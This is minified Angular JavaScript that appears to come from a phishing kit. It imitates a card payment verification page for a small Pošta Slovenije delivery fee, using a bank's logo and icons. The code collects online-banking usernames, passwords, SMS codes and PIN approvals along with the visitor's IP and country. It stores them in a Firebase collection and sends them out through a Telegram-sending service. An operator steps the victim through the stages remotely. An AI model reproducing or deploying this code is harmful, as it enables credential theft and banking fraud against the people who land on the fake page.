t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",39),r.\u0275\u0275elementStart(1,"div",52),r.\u0275\u0275element(2,"img",53),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(3,"br"),r.\u0275\u0275elementStart(4,"input",54),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function OD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,MD,5,0,"div",35),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function ED(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",47),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function TD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,ED,2,0,"div",46),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function ID(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275elementStart(4,"div",43),r.\u0275\u0275elementStart(5,"input",55),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",40),r.\u0275\u0275elementStart(7,"div",43),r.\u0275\u0275elementStart(8,"input",56),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",38),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function kD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",47),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function AD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",36),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",42),r.\u0275\u0275template(4,kD,2,0,"div",57),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",38),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function DD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",39),r.\u0275\u0275template(1,ID,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",40),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275elementStart(4,"input",41),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(5,AD,6,1,"tr",6),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function ND(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,yD,8,2,"tr",6),r.\u0275\u0275template(3,vD,6,1,"tr",6),r.\u0275\u0275template(4,_D,8,0,"tr",6),r.\u0275\u0275template(5,CD,4,0,"tr",6),r.\u0275\u0275template(6,xD,6,1,"tr",6),r.\u0275\u0275template(7,SD,6,1,"tr",6),r.\u0275\u0275template(8,OD,6,1,"tr",6),r.\u0275\u0275template(9,TD,6,1,"tr",6),r.\u0275\u0275template(10,DD,6,2,"div",35),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step)}}let RD=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){}onConfirm(){if(this.pass.length<3)return this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff");this.loading=!0,setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" LinkM-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" LinkM-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmPIN(){this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" **LinkM** Approved"+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-elvibk"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://www.gbkr.si/wp-content/themes/kreativnatovarna/dist/images/logo_005d0990.svg",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],[2,"font-weight","bold"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["id","btnSubmitItem",4,"ngIf"],["align","left","width","40"],["align","center",1,"left"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","placeholder","Uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","placeholder","Geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","javascript:void(0)","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer","font-weight","bold",3,"click"],[1,"position-relative",2,"margin-top","4px","display","flex","justify-content","center"],["src","https://img.freepik.com/premium-vector/hand-holding-smartphone-with-checkmark-icon-approved-payment-transaction_197792-183.jpg?w=2000","alt","",2,"width","100px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Dav\u010dna \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","text","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","placeholder","Telefonska \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["style","display: flex; justify-content: center;","class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,aD,3,0,"h2",5),r.\u0275\u0275template(10,cD,3,0,"h2",5),r.\u0275\u0275template(11,lD,2,0,"p",6),r.\u0275\u0275template(12,uD,3,0,"p",6),r.\u0275\u0275template(13,dD,5,0,"p",6),r.\u0275\u0275template(14,hD,3,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,pD,2,0,"div",6),r.\u0275\u0275template(53,ND,11,9,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,_E,KE,lT],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#1563ae;border-radius:3px;min-width:100px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function LD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Kirjaudu sis\xe4\xe4n vahvistaaksesi tapahtuman. N\xe4it\xe4 tietoja ei jaeta kauppiaalle."),r.\u0275\u0275elementEnd())}function jD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Vahvista ostoksesi sy\xf6tt\xe4m\xe4ll\xe4 tekstiviestiss\xe4 saamasi koodi. SMS-koodia ei v\xe4litet\xe4 kauppiaalle."),r.\u0275\u0275elementEnd())}function FD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",31),r.\u0275\u0275elementEnd())}function VD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",39),r.\u0275\u0275elementStart(4,"div",40),r.\u0275\u0275elementStart(5,"input",41),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",37),r.\u0275\u0275elementStart(7,"div",40),r.\u0275\u0275elementStart(8,"input",42),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",35),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function BD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",36),r.\u0275\u0275template(1,VD,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",37),r.\u0275\u0275elementStart(3,"div",36),r.\u0275\u0275elementStart(4,"input",38),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function HD(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",36),r.\u0275\u0275elementStart(1,"input",38),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function zD(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",32),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",33),r.\u0275\u0275template(5,BD,5,1,"div",34),r.\u0275\u0275template(6,HD,2,0,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",35),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function GD(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",44),r.\u0275\u0275text(1," Kirjautumistiedot ovat virheelliset. 